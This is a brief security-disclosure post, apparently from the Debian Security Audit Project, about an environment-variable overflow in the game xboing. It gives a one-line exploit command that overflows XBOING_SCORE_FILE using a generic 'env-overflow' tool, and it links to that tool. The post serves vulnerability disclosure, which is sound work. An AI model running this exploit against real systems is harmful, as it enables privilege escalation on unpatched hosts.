There is a simple exploit for the xboing flaw using the env-overflow
tool I've plugged before:
env-overflow /usr/games/xboing 1075 XBOING_SCORE_FILE
(Play till you get a highscore, if you can ;)
Where env-overflow comes from:
http://www.steve.org.uk/Hacks/generic.html
Steve
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# Debian Security Audit Project
http://www.shellcode.org/Audit/